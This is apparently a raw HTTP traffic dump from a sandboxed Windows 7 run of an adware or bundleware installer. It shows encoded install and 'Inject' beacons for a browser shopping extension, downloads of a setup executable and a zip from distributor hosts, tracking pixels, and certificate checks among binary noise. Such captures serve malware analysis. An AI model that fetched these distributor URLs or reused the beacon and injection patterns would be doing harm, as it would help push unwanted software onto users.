.W...\NsX*.-....j......&.....^w..G.p(&....`[email protected]=
..s.2].LplV.a...:M..)....|6;..._.h.A........8..j.5.[./.0..V.........2i
...d.H%.[#.l.[w].fv ...G.b.G..0.(B..N..Z ..23....T.....0...0...0......
......I...*....^n...0...*.H........0..1.0...U....US1.0...U....thawte, 
Inc.1(0&..U....Certification Services Division1806..U.../(c) 2006 thaw
te, Inc. - For authorized use only1.0...U....thawte Primary Root CA0..
.141202000000Z..151216235959Z0_1.0...U....US1.0...U....thawte, Inc.190
7..U...0thawte Primary Root OCSP Responder Certificate 30.."0...*.H...
..........0.........x...F83..,.D.,2D.;JGc.|_.k.....B.7.....G}.M.s.....
S.i.Uu.h.Aq..v...4:l..U.......T7l...~vl...r....{*..........V.o..8|.B..
^.a.. ...z....x..s...\[Y....<....'> ..YC..7.zVk.$...o3..kao]c...
>C./bPX.......I..Oc.....NN......g.....,/..]......qN.....V!<.3.).
..y#.........i0g0...U.%..0... .......0... .....0......0...U.......0.0.
..U...........0!..U....0...0.1.0...U....TGV-B-2770...*.H..............
..lt..\..z. ..N.f.!.S5d?J.&....r...D........L.`.s.p...HC.L.8f... .....
....GA7......P..Z.%.../............z.n.6~I...].).....W...W\|.uya..:...
^...hW..7.Z.uc.'....:.xL...HS.....>.........5......%....3S....h....
....U....o.C.\.t.....G.._.C0(l.E9..6UTxg.gF ..;.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1396

content-transfer-encoding: binary

Cache-Control: max-age=500267, public, no-transform, must-revalidate

Last-Modified: Sun, 8 Feb 2015 22:59:12 GMT

Expires: Sun, 15 Feb 2015 22:59:12 GMT

Date: Tue, 10 Feb 2015 04:02:36 GMT

Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0...............w/.|`....a...2015020
8225912Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
...%..{.cj..}#.......20150208225912Z....20150215225912Z0...*.H........
.....*..L..IUP.i.qA.{...,..i)G.C.!..e.Zz3...S....5...8.9,.Xd.!!..f....
.Cf9..Q".!...S]J.....E.....=..m..Wg.n3..-/.[Pd0.28-..]5..4.....6x...Y.
....s.......7}.7...s..69.C.6..].R..e@..{A4....p..:4..M'..@f..^.w...Z..
|j.(s.|7.......r%..........f.1g....].....f.f...........0...0...0..y...
[email protected]...*.H........0J1.0...U....US1.0...U....Thawte, I
nc.1$0"..U....Thawte Code Signing CA - G20...141210000000Z..1503102359
59Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code Signin
g CA - G2 OCSP Responder0.."0...*.H.............0..........P.....].8?e
...8.0.. ...-.uP.3....pQ......mi..wVt.......<....{d.?..9..z%.?..}.N
`.V.........I.X...E#...*.f...X.;...75......%...n.%..#..T.<.....fEQ.
\\.f.{M.H...M..u...9~..C....B.o..........dc...V..,.........{...j.9.xw?
D..ooNf&=......D|.R..../.....So....*-5.......d0b0...U....0.0...U.%..0.
.. .......0...U........0... .....0......0"..U....0...0.1.0...U....TGV-
B-25170...*.H.....................2.).xO...].6..R.k...H =d...L...(o0#.
......<O#.;[email protected]...^.q.Y...}....S(syt&...$..L..7<...nb|...]2c.
.q..Q.L.3,.............n>....tND..fJ.&. .....%7.....f.31.>..d...
ET.E.~.x...]N...*.......n......HI..*M..t.......:.=.:..(2M".S.....&....
................<<< skipped >>>

GET /install.ashx?e=hWfaA75NtHG5d3h2ae4PEXFA8SMhVDHu5SYLgV1GP45f IV2qJnldbZkyCO60G3s5BETRwXuWt/ TphA8Cf5yZ4vDfViB/qhLnCMwJJTkXpOiRT1yE23FocxrkTwtdhdKPhEFY5XZBJPMXncQenCC3JF1S42 BeaImPFRYkh3ej9DDxdB8IX3/IOb5O/qAEzG73xbmM7JbkFsK7/Ya3qp3H4CQmKwMH4ZfsxqfyI5BBtx/ZVdNGi4auzgN391U6xN48Nx4Zw7zkxPTnaBmB2LZN041sf6R9PPE5RP1LOLdZ3vEKumRhmNpxnQKqBcIRK93Qlsgdg5HvI0hVeZ5GjYH8hyAaL5CajGlYHodqc6ZHntdHrE4rSVKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRjbYe5xwzoVIINNqMzD9WUg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1320

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:06 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1yzSkBkV2MDv5arq9_dRkLB7ELGx7Iai6DDwtXFqbpO6yGoaejGCDQ==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]._...../5.Q...4\(..B.'b0)._.k....|o...Ia?.,BB./{w1.T.3b
...[..ZQ...I......S./...G4a.4....;1 J......L..%B.2.4H..v.M./q.....o..@
I.E.]....~f5YDR.01\C/(..Rg.u....=....Q",;....v..*.w..9.a.. ...Uu5y...8
y%.f.D|p5...a.."...g...V.Y ug..4..|~._.\.}.Jb.=..\RZ-0..K.y....2....w.
."hO/.4..#...D6.]..........rv.z..u.6..y.c.(.s...4....X.yL./...s.\..].o
HV. L...1.......p..iq..l..u..........rv.z..u.j............PM....N.8F..
...K..[o..'.;..r..Y*.4....^.{...z...8...y...a.s.....\..,I.9!..MT{.6.w.
4....dT.wY...B.)........B.'b0)._.k....|o...Ia?.,BB./{w1.[p... }.z....9
....>..T..Y.z........_.....k....D....-........?.......C.......S..M.
6/7..U...j.............H3..E......vB.88.a....=.v'@..W8. ...x....1..8..
n.<..~..`.......dH~........5. .9y..`.".x.m.-.8b<..^[email protected].!3F .
4t.v.u.Z...8.......1..n.*U.<p....#z.W...o./.u..Ig*{8......u.Wk.iV.5
..#....g.C.y....b..'... |....f.%.H...R..t5..iV.h....8bc.....9....qc<
;......h...G..5j.)..l......A7.o. .Q...A...W.........rv.z..u.b.TD .](C.
=.q/"u......./...s.\......H...r.c.........Bv...?..^.$.o...{.k.K.....q@
,(..;.?...a(H#C$..C..R......G....z...8...y...a.s.....\..,I.9!.....E.8.
n..-..n..(K..H.......[,r...........:..}6...,.......L.J.k....C. .d.....
..B..._...$.&>p.0...5.L..'5.....-14w......< C.t^.c...C....4.=...
....v....,...<<< skipped >>>

GET /affiliate/client?dist=141&sub=iF2AwJSsmtycl&name=ShopperPro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: api.jollywallet.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Type: application/javascript

Date: Tue, 10 Feb 2015 04:00:21 GMT

Expires: Sat, 14 Feb 2015 04:00:21 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

X-Powered-By: PHP/5.4.30

Content-Length: 10923

Connection: keep-alive
...........}k..F..g.......Q..=KM.i..s......{.9.^].H............. A..n.
..9g..*H"#3.....$.^.].-..n.x.Ps5..M......T.k...`_Dq.O.......%o..{.b...
ei.......... ....'~........n.....U............*[email protected]..}.h..\\....!./\
|.tu...;.A..Z.&.b3..Dq.u..Kj...G..q.U.-..>.?.....s.Uh^....M..v.t.0r
x.X.Trm..J..M/[email protected]...<...p....;
;.H...#..q....Ga..Y.....$s.e..$..wTl*....l._....T(...g&..V.K^A...c".M}
........... .J..o.t.^..m..q~....P...J.q<G....)..{}S.;.75......~....
b...|H&...1....................s..........dH.9)..........ot........Q..
....PN78v......"&U...P#A...dQ..6J..t.)..-t7..'.....g......0..../.,..4[
#`.?.... .. ..~.....9....}....m.l{.?^.........}...>._......{.......
([email protected]]... [email protected].[z.'.E....=!M............-
............. .".]......,.^..JH....E.GJ...|i.9;...9.m...`.8....svq.]ia
.....M_..[-4>'[...?.>{\v...t.....G..mC..LM..P..]..fX..!.|...(...
.._.....................'ncB.~e...b......x.........p4.Lg........$>.
 ..5..........E.. ......-:....5...6....0...uo}c....%.....B.....M......
.b:...<.t.C.......`seFL...w,4.P.?j..P...U.....C<L(M.e/*.......K.
..wi..K"C{..z.i...#...z%.~j......7.~)..8...E..E._/.*l.o...%.....$.o..r
..P..]..(..=. .5"aws...V.B..#.(Q*z... [email protected].....*6..(
.~1=si....u..'.1`I...4.TK..3._.....AS.d..K...J...A..D..&.w......)..Z..
..#..45.a....z.......U....9...'a_j.....j.3(...P":...dW.ET....^XN......
....g0.....:..\.&P.L'3V.......B.<.n*L....9./..ZOT{.;....6.1dp../..6
..;l @/$..........{0.]..`j.S..O..d<sp......./[email protected]:....)...*<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=DealPly_NoPriceGong HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:35 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 03:59:35 GMT..Content-Length: 0..

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:01:26 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=df53e7e68698c468fb15b4d70fc59e1b31423540886; expires=Wed, 10-Feb-16 04:01:26 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Fri, 06 Feb 2015 23:51:50 GMT

Expires: Tue, 10 Feb 2015 23:51:50 GMT

ETag: "9006297540e316688484ed9e4b46a0dce7b0d372"

Cache-Control: max-age=345599,public,no-transform,must-revalidate

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1b6567cd63e315ad-FRA
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0206235150Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150206235150Z....20150210235150Z."0 0..
. .....0......20140206235150Z0...*.H.............Q."...T1..ý.Rs.(..%
l..<.....qN.jm\f...x3g...&.R.qQaH^....X.#{O G.....8K....(........f.
.&.%..m}.hU......9.......psNO.c;.Dz._....... ^..oQa48..6.......s.o..#.
]{D..nQL.2.;.i0.$Vp....6...:f.....h.O..#......8..!g<q...d.tl.....h(
..E.]-...................y.2.......0...0...0..........Z..~..M..<ZYJ
....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....R
edmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U..
..Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Sh
ould be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=
f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q....
.......bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*.
......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.
M.O.....<5:......r.....]..A.5........0..0...U..........<.|7...@N
6p.I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... 
.......0... .....7....0.0... .......0... .....0......0...*.H..........
........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w
...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3.
...L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....&l
t;.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?0ca76ece53aaf28a HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT

If-None-Match: "0b2464b1797cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT

ETag: "0b2464b1797cf1:0"

Cache-Control: max-age=86400

Date: Tue, 10 Feb 2015 04:00:22 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Tue, 10 Feb 2015 04:00:22 GMT..Conn
ection: keep-alive..

GET /sd?is=sm HTTP/1.1

Range: bytes=145810-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 11 Feb 2015 03:59:05 GMT

Date: Tue, 10 Feb 2015 03:59:05 GMT

Content-Range: bytes 145810-583239/583240

Content-Length: 437430

Connection: keep-alive
~!?.w.e.Lc.~U..U...`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..
C!/.Z......b.e62.d.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s
..).9..axM.t...*...8J........2}...Yq.M.........G..#..Y..........=.A...
~..R....QL9........VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)...
.<.\..}RX7.o...V..t.}......'.............6o8....L .H.....&...R.,...
..k..Bf.LJ.......\......0..$.s.u.. ....w..~.)..c......X......[.....[..
:...W..k...Z...:...Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z.
...".....W....{.W...j2.V.a.....q..,...V......sr;.........n.".S.WI..n?.
.......Z....^..7.. }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......n
K'.$oJ.}k......7-..0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E
.......M?... h.C..........@G]C^e...P^....0..d._......8....:.A..r....I.
j.\..."....|.7.yZ.X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....
]L...s.K.a..........".y..II...{._...A......u...*sg.........1...S.Jv.hE
.x..rX....bF.. ..i ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db
...,@*9.6K..<`..R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^
.).8fR \...3.M.....W}[email protected].....
..q..Gh.R.... zi=-...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.
....5.....P...W....ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....
w79.......pB.J1.B.>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>
.L.>.....9f..0~.V.t...m'.=.F....cfA....vN....ae.L u7..q..#,H.......
......:....{j...L.xb.......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..
6.\...3.%.....c...*.IK.b.jz.l.!)....U...&...........BxfJ$..U..SU..<<< skipped >>>

GET /monetization.gif?event=3&ibic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423540799&asw=0_1073750533_-2147475456_0&browser=ff&rnd=1423540799 HTTP/1.1

Host: logs.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:00 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1423540800.dop003.am4.t,1423540800.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Tue, 10 Feb 
2015 04:00:00 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1423540800.dop003.am4.t,1423540800.
cds058.am4.c..GIF89a.............,...........D..;....


GET /monetization.gif?event=4&ibic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423540799&asw=0_1073750533_-2147475456_0&browser=ff&rnd=1423540799 HTTP/1.1

Host: logs.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:08 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1423540800.dop003.am4.t,1423540808.cds058.am4.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Tue, 10 Feb 
2015 04:00:08 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1423540800.dop003.am4.t,1423540808.
cds058.am4.c..GIF89a.............,...........D..;..

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ds HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.33 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:32 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.33 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.36 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:39 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.36 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /pca3.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.verisign.com


HTTP/1.1 200 OK

Server: Apache

ETag: "66304c4a5660ab8615727e6bb27b3cdb:1418950819"

Last-Modified: Fri, 19 Dec 2014 01:00:19 GMT

Date: Tue, 10 Feb 2015 04:02:59 GMT

Content-Length: 933

Connection: keep-alive

Content-Type: application/pkix-crl

0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc.1705..U
....Class 3 Public Primary Certification Authority..141210000000Z..150
331235959Z0..x0!...v....a_>..2......020924164823Z0!.....A.....{2..Y
.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y..q.....
..fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!............R
.e.53..010207212458Z0!..!......Y...ISi....010706171411Z0!..$-..I{r....
u<._...080403172226Z0!..&.."?..y..51}..1..010706172118Z0!..4....2..
..{W......080605175030Z0!..B....c............070411175910Z0!..H.Py...N
....* [email protected]!..Y......w
`G........070411175657Z0!..Z`[email protected].*q..080403172017Z0!..l....I..
.Y..] .c..010706171749Z0"......T=deQ...1u.]...010207212247Z0".....p..1
..7<.....e..010207211822Z0...*.H............5..v...V.._)....A... ..
..>.5]....6.(.0uFW.*:T...6$.....R...Y.N.k........%Jn..I.j*.6.3~...r
../[email protected]?....0.A.HTTP/1.1 200 OK..Server: Apache.
.ETag: "66304c4a5660ab8615727e6bb27b3cdb:1418950819"..Last-Modified: F
ri, 19 Dec 2014 01:00:19 GMT..Date: Tue, 10 Feb 2015 04:02:59 GMT..Con
tent-Length: 933..Connection: keep-alive..Content-Type: application/pk
ix-crl..0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc
.1705..U....Class 3 Public Primary Certification Authority..1412100000
00Z..150331235959Z0..x0!...v....a_>..2......020924164823Z0!.....A..
...{2..Y.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y
..q.......fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!.

<<< skipped >>>

GET /ConversionService/getScript.ashx?s=finish HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=v42ebrdc5eunyodkxgchp5ds


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: application/x-javascript; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:21 GMT

Content-Length: 1035
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"..:..........r...r../..v]/.q6..
^.....j9jG.._......M./......EMG....G.U.f.9.........G.PCj.=......dD.^..
.~..b .~.....Ev......~.....u...4.g.t..~..:........G.......6..g{..?....
.w.:....!>...v.5......G..,?/...._......~..;...."o........E...>..
..#j7...E;?..=...|...V.rv2/..V{..V}..I5.&.k.........S.YM...q.s.@..".!M
.^..x.4o.:..8..y.(.].;L..Y;.....>.9L.j.?WUS..Gi6i.r.....hVev.(]V...
...&......a.n.dD.....}o........).i....:?...O....w....~.G....{../...'.O
>.l.{../..'w>.}T.....E.N.[..C....]?[...p1x..t.~..G.........._..&
gt;c....z.>.VK"I>......4.G).}'..2 ..E..b.]7.. ....2..S.H....MA..
AO...'...>......?..0....:o>...z.V....u[....;w........q|......?..
WY;......{......z..kAZ.A.u .i....C&..a.x..;,>[email protected]|..n:...vk..g.
}.~tx..p..'...;j.U..9.bAr...s...>......a....K..&.....CYi.E.z..}..h{
../.g...o.........M.........W...V....X...!.Y..........)......!........
.....I$n...f^.........T...n...y}YL......GRS.w.G..)....B...v.!A...Z..Kb
[..w6.M.......&x.E...HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: application/x-javascript; charset=utf-8..Content-Encoding: gzip.
.Vary: Accept-Encoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 2015 04:00:21 GMT..
Content-Length: 1035...............`.I.%&/m.{.J.J..t...`.$..@.........
iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"..:......
....r...r../..v]/.q6..^.....j9jG.._......M./......EMG....G.U.f.9..<<< skipped >>>

GET /infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Tue, 10 Feb 2015 03:59:09 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.14p1

Location: hXXp://VVV.inisxriy.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip

0......

GET /files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:09 GMT

Content-Type: application/zip

Content-Length: 2157335

Last-Modified: Fri, 06 Feb 2015 10:41:31 GMT

Connection: keep-alive

Accept-Ranges: bytes
PK.........ÿ................422.json.....n.....r.w.........L@.\...q.
..%.v..Q..~DO.M.|.Wj.d...k......w...a213;B3..M..)....}...]...e...8.i..
...B....H....(p..8..J.._y.....W".oC...r...,..X..EZ.,.].})..]ET.../#Q..
^......@x~.......NZ........:i].\..m.....z......CK/.b.3y......6.MyVq..i
5._.^1.......o#p..=.^1.........7y.D..}....s..I.w`k.l.t.....~.........#
.Q-..v^7 ..J...*.>#..g.o...BY..F..[U.....6.MyRx.G=\....<wj.y,*.L
_z.q.!D..*.).N..=.>.....g3.ol...x..}.X'..._......oy..j"..O.../n.uK.
.......]..d...~.T.=.BS..y.V........=..0...5.Ej...C.S......._.....)....
....j890vo19PK.........ÿ..".f....K......uninstallDlg2.xml.\m.....^..
.....z.f.N...mo..As..$([email protected].../...w(Q.d.k9.6^T..."....gH....o.....
.R.f.3.-DX.#..3 ...L,.J.".sFf..I-...?...g."..R....Sw.N]..x-sQ.@}=..Fd.
.X.8.!...Y..........|.o..1...Ox..li.....8.YRd.BT...3k..../....9^..T..s
b#....nir.....mT.....(.2.eRr.y.....1.r...d\~.. ~!I......v....x.t]H.$BW
0...L.......'^....8..<.0\.eQ.R....Iq..9..[\k. .O.:rs...7...tE..D..B
.(h..h.....GA...'..{M..m(x....2s...b.4.x..p....M..`.ukQ..;].....(u.Z.A
....L.r........~/P...........|.`l...5d}....w.#..1......vS.W.....`....b
@w.r.%sS.w......Q..#B.."B}..f...K...,c..d.1.....`ST2.M`.."...$.lC..p.P
)..Ce.b.LQ..0...h.aF...L. ps~.'FP.a.`R.2........!X............"B.....'
